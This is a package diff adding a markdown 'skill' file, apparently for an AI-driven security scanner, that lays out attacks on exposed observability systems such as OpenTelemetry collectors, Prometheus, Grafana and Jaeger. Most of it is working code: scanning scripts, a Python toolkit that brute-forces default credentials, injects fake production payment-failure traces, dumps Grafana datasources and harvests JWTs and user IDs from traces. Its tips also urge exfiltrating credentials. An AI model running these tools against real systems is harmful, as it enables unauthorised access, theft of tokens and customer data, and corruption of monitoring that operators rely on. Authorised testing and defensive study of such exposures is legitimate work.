@aegis-scan/skills 0.4.0 → 0.5.1

package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md

@@ -0,0 +1,501 @@
+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: observability-stack-attacks
+description: Attack techniques against exposed observability infrastructure including OpenTelemetry collectors, Prometheus /metrics, Grafana, Jaeger, Zipkin, and similar monitoring backends — including credential brute-force, data injection, and information extraction
+---
+
+# Observability Stack Attack Techniques
+
+Observability infrastructure (metrics, traces, logs) is routinely deployed without authentication because it's assumed to be internal-only. When exposed to the internet, these systems offer:
+- **Information disclosure:** internal service names, hostnames, deployment topology, error messages, query patterns
+- **Data injection:** fake traces/metrics to corrupt alerting, mask attacks, or trigger false incidents
+- **Credential access:** some observability endpoints are precursors to full auth bypass (e.g., Grafana API key generation)
+
+---
+
+## STEP 1 — Detect Observability Endpoints
+
+```bash
+# Discover observability-related subdomains
+grep -iE '(otel|telemetry|tracing|metrics|grafana|jaeger|zipkin|kibana|elastic|logstash|tempo|loki|prometheus|influx|victoriametrics|datadog|honeycomb|newrelic|splunk)' \
+  output/subdomains.txt | sort -u | tee output/observability_subdomains.txt
+
+# Also check for hex-encoded observability subdomains
+# Common hex encodings:
+#   otel      = 6f74656c
+#   metrics   = 6d657472696373
+#   tracing   = 74726163696e67
+#   logging   = 6c6f6767696e67
+python3 -c "
+known = {'otel': '6f74656c', 'metrics': '6d657472696373', 'tracing': '74726163696e67',
+         'logging': '6c6f6767696e67', 'jaeger': '6a6165676572', 'tempo': '74656d706f'}
+for name, hexval in known.items():
+    print(f'{hexval} = {name}')
+print('Check if any of these hex values appear as subdomains')
+"
+grep -iE '(6f74656c|6d657472696373|74726163696e67)' output/subdomains.txt 2>/dev/null
+
+# Standard observability ports to scan on live hosts
+echo "Checking standard observability ports..."
+while IFS= read -r host; do
+  hostname=$(echo "$host" | grep -oE '[a-zA-Z0-9._-]+\.[a-zA-Z]{2,}' | head -1)
+  [ -z "$hostname" ] && continue
+  for port in 9090 3000 16686 9411 14268 4317 4318 8080 8888 9999; do
+    result=$(curl -sk -o /dev/null -w "%{http_code}" \
+      --connect-timeout 3 "http://${hostname}:${port}/" 2>/dev/null)
+    [ "$result" != "000" ] && [ "$result" != "" ] && \
+      echo "[$result] ${hostname}:${port}"
+  done
+done < output/live_hosts.txt | tee output/observability_ports.txt
+```
+
+---
+
+## STEP 2 — OpenTelemetry (OTEL) Collector Attacks
+
+OTEL collectors are the most commonly exposed observability component in cloud-native infrastructure.
+
+```python
+# tools/otel_attack.py
+"""
+OpenTelemetry HTTP Collector (OTLP/HTTP) attack toolkit.
+
+Standard ports:
+  4317 — gRPC (binary protobuf)
+  4318 — HTTP (JSON or protobuf) ← this skill focuses here
+
+Standard paths:
+  /v1/traces    — trace spans
+  /v1/metrics   — metrics data points
+  /v1/logs      — log records
+
+Authentication types:
+  - None (most common misconfiguration)
+  - HTTP Basic Auth
+  - Bearer token (less common)
+  - mTLS (cannot attack without client cert)
+"""
+import urllib.request, urllib.error, ssl, json, base64, time
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+def probe_otel_collector(base_url):
+    """
+    Probe an OTEL HTTP collector for:
+    1. Authentication type (none, basic, bearer)
+    2. Accepted signal types (traces, metrics, logs)
+    3. Rate limiting behavior
+    4. Error message information leakage
+    """
+    results = {"url": base_url, "auth": None, "endpoints": {}}
+
+    paths = ["/v1/traces", "/v1/metrics", "/v1/logs", "/", "/health"]
+    headers_to_try = [
+        ("No Auth", {}),
+        ("Basic admin:admin", {"Authorization": "Basic " + base64.b64encode(b"admin:admin").decode()}),
+        ("Basic otel:otel", {"Authorization": "Basic " + base64.b64encode(b"otel:otel").decode()}),
+        ("Basic admin:", {"Authorization": "Basic " + base64.b64encode(b"admin:").decode()}),
+        ("Bearer test", {"Authorization": "Bearer test"}),
+    ]
+
+    # First probe: determine auth requirement
+    print(f"\n=== Probing OTEL collector: {base_url} ===")
+    for path in paths:
+        url = base_url.rstrip('/') + path
+        for auth_name, auth_headers in headers_to_try:
+            headers = {"User-Agent": "opentelemetry-collector-contrib/0.90.1", **auth_headers}
+            # Use POST with minimal valid OTLP payload
+            # Minimal OTLP JSON trace payload
+            minimal_trace = json.dumps({
+                "resourceSpans": [{
+                    "resource": {
+                        "attributes": [{"key": "service.name", "value": {"stringValue": "probe"}}]
+                    },
+                    "scopeSpans": [{
+                        "scope": {"name": "probe", "version": "1.0"},
+                        "spans": [{
+                            "traceId": "a" * 32,
+                            "spanId": "b" * 16,
+                            "name": "probe-span",
+                            "kind": 1,
+                            "startTimeUnixNano": str(int(time.time() * 1e9)),
+                            "endTimeUnixNano": str(int(time.time() * 1e9) + 1000000),
+                            "status": {"code": 1}
+                        }]
+                    }]
+                }]
+            }).encode()
+
+            req = urllib.request.Request(
+                url, data=minimal_trace if path == "/v1/traces" else b"{}",
+                headers={**headers, "Content-Type": "application/json"},
+                method="POST"
+            )
+            try:
+                with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
+                    body = r.read(500).decode('utf-8', 'ignore')
+                    print(f"[{r.status}] {path} ({auth_name}): {body[:150]}")
+                    results["endpoints"][path] = {"status": r.status, "auth": auth_name}
+                    if auth_name == "No Auth":
+                        results["auth"] = "NONE"
+                    else:
+                        results["auth"] = auth_name
+                    break  # Found working auth, stop trying
+            except urllib.error.HTTPError as e:
+                body = e.read(500).decode('utf-8', 'ignore')
+                if e.code == 401:
+                    # Extract WWW-Authenticate for auth type detection
+                    www_auth = e.headers.get('WWW-Authenticate', '')
+                    print(f"[401] {path} ({auth_name}): WWW-Auth={www_auth} | {body[:100]}")
+                    if 'basic' in www_auth.lower() and auth_name == "No Auth":
+                        print("  -> HTTP Basic Auth required")
+                    elif 'bearer' in www_auth.lower():
+                        print("  -> Bearer token required")
+                elif e.code not in (404, 400):
+                    print(f"[{e.code}] {path} ({auth_name}): {body[:100]}")
+            except Exception as ex:
+                print(f"[ERR] {path}: {ex}")
+            time.sleep(0.5)
+
+    return results
+
+def brute_force_otel_basic_auth(base_url, path="/v1/traces"):
+    """
+    Brute force HTTP Basic Auth on OTEL collector.
+    Only use after confirming Basic Auth is required.
+    Common OTEL collector default credentials.
+    """
+    credentials = [
+        ("admin", "admin"), ("otel", "otel"), ("collector", "collector"),
+        ("opentelemetry", "opentelemetry"), ("", ""), ("admin", ""),
+        ("otel", "password"), ("admin", "password"), ("test", "test"),
+        ("prometheus", "prometheus"), ("grafana", "grafana"),
+        ("metrics", "metrics"), ("monitor", "monitor"),
+        ("otelcol", "otelcol"), ("collector", "password"),
+    ]
+
+    url = base_url.rstrip('/') + path
+    print(f"\n=== Brute forcing OTEL Basic Auth: {url} ===")
+
+    for user, passwd in credentials:
+        creds = base64.b64encode(f"{user}:{passwd}".encode()).decode()
+        req = urllib.request.Request(
+            url, data=b"{}",
+            headers={
+                "Authorization": f"Basic {creds}",
+                "Content-Type": "application/json",
+                "User-Agent": "opentelemetry-collector/1.0"
+            },
+            method="POST"
+        )
+        try:
+            with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
+                print(f"[FOUND] {user}:{passwd} → HTTP {r.status}")
+                return (user, passwd)
+        except urllib.error.HTTPError as e:
+            if e.code != 401:
+                print(f"[{e.code}] {user}:{passwd} → {e.read(100).decode()[:80]}")
+        except Exception as ex:
+            pass
+        time.sleep(0.3)
+
+    print("[*] No default credentials found")
+    return None
+
+def inject_otel_traces(base_url, auth_headers={}):
+    """
+    Inject fake traces to corrupt distributed tracing.
+    Use to demonstrate impact after credential confirmation.
+    """
+    url = base_url.rstrip('/') + "/v1/traces"
+
+    # Inject a fake "payment failure" span
+    payload = json.dumps({
+        "resourceSpans": [{
+            "resource": {
+                "attributes": [
+                    {"key": "service.name", "value": {"stringValue": "payment-processor"}},
+                    {"key": "service.version", "value": {"stringValue": "1.0.0"}},
+                    {"key": "deployment.environment", "value": {"stringValue": "production"}}
+                ]
+            },
+            "scopeSpans": [{
+                "scope": {"name": "payment-processor", "version": "1.0"},
+                "spans": [{
+                    "traceId": "c" * 32,
+                    "spanId": "d" * 16,
+                    "name": "processPayment",
+                    "kind": 2,  # SERVER
+                    "startTimeUnixNano": str(int(time.time() * 1e9)),
+                    "endTimeUnixNano": str(int(time.time() * 1e9) + 5000000000),  # 5 second span
+                    "status": {"code": 2, "message": "PAYMENT_VAULT_UNREACHABLE"},
+                    "attributes": [
+                        {"key": "http.status_code", "value": {"intValue": 500}},
+                        {"key": "error.type", "value": {"stringValue": "PaymentVaultError"}},
+                        {"key": "error.message", "value": {"stringValue": "injected-probe"}},
+                    ]
+                }]
+            }]
+        }]
+    }).encode()
+
+    req = urllib.request.Request(
+        url, data=payload,
+        headers={**auth_headers, "Content-Type": "application/json"},
+        method="POST"
+    )
+    try:
+        with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
+            print(f"[{r.status}] Trace injection successful: {r.read(200).decode()}")
+            return True
+    except urllib.error.HTTPError as e:
+        print(f"[{e.code}] Trace injection: {e.read(200).decode()[:100]}")
+    return False
+
+# Main execution
+if __name__ == "__main__":
+    # Load observability subdomains
+    targets = []
+    try:
+        with open("output/observability_subdomains.txt") as f:
+            for line in f:
+                host = line.strip()
+                if host:
+                    targets.append(f"https://{host}")
+    except FileNotFoundError:
+        pass
+
+    for target in targets:
+        result = probe_otel_collector(target)
+        if result.get("auth") == "NONE":
+            print(f"\n[CRITICAL] Unauthenticated OTEL access at {target}")
+        elif result.get("auth"):
+            print(f"\n[FINDING] Auth required but found working credentials at {target}")
+            # Try default credential brute force
+            creds = brute_force_otel_basic_auth(target)
+            if creds:
+                auth_header = {"Authorization": "Basic " + base64.b64encode(f"{creds[0]}:{creds[1]}".encode()).decode()}
+                inject_otel_traces(target, auth_header)
+```
+
+```bash
+python3 tools/otel_attack.py | tee output/otel_attack_results.txt
+```
+
+---
+
+## STEP 3 — Prometheus /metrics Exploitation
+
+```bash
+# Probe Prometheus metrics endpoints
+for host in $(cat output/live_hosts.txt | grep -oE '[a-zA-Z0-9._-]+\.[a-zA-Z]{2,}'); do
+  for path in "/metrics" "/prometheus/metrics" "/actuator/prometheus" "/-/metrics"; do
+    result=$(curl -sk -o - -w "\n%{http_code}" "https://${host}${path}" 2>/dev/null)
+    status=$(echo "$result" | tail -1)
+    body=$(echo "$result" | head -5)
+    if [ "$status" = "200" ] && echo "$body" | grep -q "^#\|^[a-z_]"; then
+      echo "[PROMETHEUS] https://${host}${path}"
+      # Extract service names and internal hostnames from metrics
+      curl -sk "https://${host}${path}" \
+        | grep -oE '[a-zA-Z0-9._-]{5,60}\.[a-zA-Z]{2,}' \
+        | sort -u | head -20
+    fi
+  done
+done | tee output/prometheus_findings.txt
+```
+
+---
+
+## STEP 4 — Grafana Unauthenticated Access
+
+```python
+# tools/grafana_attack.py
+"""
+Grafana attack vectors:
+1. Default credentials: admin:admin (very common)
+2. Anonymous access enabled (some orgs enable this)
+3. API key in URL parameters
+4. Snapshot API without auth
+5. Public dashboards
+"""
+import urllib.request, urllib.error, ssl, json
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+def attack_grafana(base_url):
+    """Test Grafana instance for common misconfigurations"""
+
+    # 1. Check if anonymous access is enabled
+    req = urllib.request.Request(f"{base_url}/api/org",
+        headers={"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
+    try:
+        with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
+            body = json.loads(r.read())
+            print(f"[ANONYMOUS ACCESS] Grafana org info: {body}")
+    except urllib.error.HTTPError as e:
+        if e.code == 401:
+            print(f"[AUTH REQUIRED] Grafana at {base_url}")
+
+    # 2. Try default admin:admin
+    import base64
+    for user, passwd in [("admin", "admin"), ("admin", "grafana"), ("grafana", "grafana")]:
+        creds = base64.b64encode(f"{user}:{passwd}".encode()).decode()
+        req = urllib.request.Request(
+            f"{base_url}/api/datasources",
+            headers={"Authorization": f"Basic {creds}", "Accept": "application/json"}
+        )
+        try:
+            with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
+                body = json.loads(r.read())
+                print(f"[DEFAULT CREDS] {user}:{passwd} → Datasources: {body}")
+                return
+        except urllib.error.HTTPError as e:
+            if e.code != 401:
+                print(f"[{e.code}] {user}:{passwd}")
+
+    # 3. Test snapshot API (often unauthenticated)
+    req = urllib.request.Request(f"{base_url}/api/snapshots",
+        headers={"User-Agent": "Mozilla/5.0", "Accept": "application/json"})
+    try:
+        with urllib.request.urlopen(req, timeout=8, context=ctx) as r:
+            print(f"[SNAPSHOTS] Unauthenticated snapshot access: {r.read(200).decode()}")
+    except urllib.error.HTTPError:
+        pass
+```
+
+---
+
+## STEP 5 — Jaeger & Zipkin Exploitation
+
+```bash
+# Jaeger UI (default port 16686)
+# Contains all distributed traces including internal service calls, DB queries, auth tokens
+
+# Check for Jaeger
+for host in $(cat output/observability_subdomains.txt); do
+  # Jaeger REST API (unauthenticated by default)
+  result=$(curl -sk -o /dev/null -w "%{http_code}" "https://${host}/api/services")
+  if [ "$result" = "200" ]; then
+    echo "[JAEGER API] https://${host}/api/services"
+    # Extract service names (reveals internal microservice architecture)
+    curl -sk "https://${host}/api/services" | python3 -c "
+import sys, json
+data = json.load(sys.stdin)
+services = data.get('data', [])
+print(f'Services: {len(services)}')
+for s in services[:20]:
+    print(f'  {s}')
+"
+    # Extract traces (may contain auth tokens, user IDs, internal payloads)
+    curl -sk "https://${host}/api/traces?service=&limit=5" | python3 -c "
+import sys, json
+try:
+    data = json.load(sys.stdin)
+    traces = data.get('data', [])
+    print(f'Traces found: {len(traces)}')
+    for trace in traces[:2]:
+        spans = trace.get('spans', [])
+        for span in spans[:3]:
+            tags = {t['key']: t.get('value','') for t in span.get('tags', [])}
+            print(f'  Span: {span.get(\"operationName\")} | Tags: {list(tags.keys())[:5]}')
+except Exception as e:
+    print(f'Error: {e}')
+"
+  fi
+done
+```
+
+---
+
+## Key Observability Endpoints Reference
+
+| Tool | Default Port | Key Attack Path | Auth Default |
+|------|-------------|----------------|--------------|
+| OTEL HTTP Collector | 4318 | `/v1/traces`, `/v1/metrics`, `/v1/logs` | None |
+| OTEL gRPC Collector | 4317 | gRPC binary | None |
+| Prometheus | 9090 | `/metrics`, `/api/v1/query` | None |
+| Grafana | 3000 | `/api/org`, `/api/datasources` | admin:admin |
+| Jaeger | 16686 | `/api/services`, `/api/traces` | None |
+| Zipkin | 9411 | `/api/v2/services`, `/api/v2/traces` | None |
+| Kibana | 5601 | `/api/spaces/space`, `/_cat/indices` | None |
+| Loki | 3100 | `/loki/api/v1/query_range` | None |
+| Tempo | 3200 | `/api/search`, `/api/traces/{id}` | None |
+| InfluxDB | 8086 | `/api/v2/query` | Token |
+| VictoriaMetrics | 8428 | `/metrics`, `/api/v1/query` | None |
+
+---
+
+## Information Extraction from Traces
+
+Once read access is confirmed, traces contain high-value intelligence:
+
+```python
+# tools/extract_trace_intelligence.py
+"""
+From Jaeger/Zipkin/Tempo traces, extract:
+- Internal service names (microservice map)
+- Database hostnames and query patterns
+- Authentication tokens (JWT, session IDs passed as trace attributes)
+- User IDs, merchant IDs, transaction IDs
+- Internal IP addresses and ports
+- External API calls (payment gateways, banking APIs)
+"""
+import urllib.request, ssl, json
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+def extract_jaeger_intelligence(jaeger_base):
+    all_intel = {"services": [], "hosts": set(), "tokens": [], "user_ids": set()}
+
+    # Get all services
+    req = urllib.request.Request(f"{jaeger_base}/api/services")
+    with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
+        services = json.loads(r.read()).get("data", [])
+        all_intel["services"] = services
+        print(f"Services: {services}")
+
+    # Get traces for each service, extract sensitive data
+    import re
+    for service in services[:5]:
+        req = urllib.request.Request(
+            f"{jaeger_base}/api/traces?service={service}&limit=10&lookback=1h"
+        )
+        try:
+            with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
+                traces = json.loads(r.read()).get("data", [])
+                for trace in traces:
+                    for span in trace.get("spans", []):
+                        for tag in span.get("tags", []):
+                            k, v = tag.get("key", ""), str(tag.get("value", ""))
+                            # JWT tokens in traces
+                            if re.match(r'^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$', v):
+                                all_intel["tokens"].append({"key": k, "jwt": v[:50] + "..."})
+                            # Internal hostnames
+                            if re.match(r'^[a-z][a-z0-9-]*\.[a-z][a-z0-9.-]+\.[a-z]{2,}$', v):
+                                all_intel["hosts"].add(v)
+                            # User/merchant IDs
+                            if k in ("user.id", "merchant.id", "customer.id", "account.id"):
+                                all_intel["user_ids"].add(v)
+        except Exception:
+            pass
+
+    return all_intel
+```
+
+---
+
+## Pro Tips
+
+1. **Hex-encoded OTEL subdomains** — When you see a hex-only subdomain like `6f74656c-http`, decode it. OTEL is `6f74656c`. This is not security, it's just obfuscation.
+2. **OTEL error differential** — `"no basic auth provided"` vs `"invalid credentials"` is a critical signal: the service is live and accepting connections. This alone is a reportable finding.
+3. **No rate limiting on OTEL Basic Auth** — OTEL collectors rarely implement login rate limiting. This makes them ideal brute-force targets.
+4. **Prometheus scrape targets** — `/api/v1/targets` in Prometheus lists ALL services being scraped, including internal ones with their full URLs and labels.
+5. **Grafana datasource credentials** — Grafana stores database/Prometheus/Elasticsearch connection strings in its datasource API. If default creds work, exfiltrate all datasource configs.
+6. **Trace data in Jaeger is time-limited** — Most deployments keep 7 days of traces. Prioritize extraction immediately after discovery.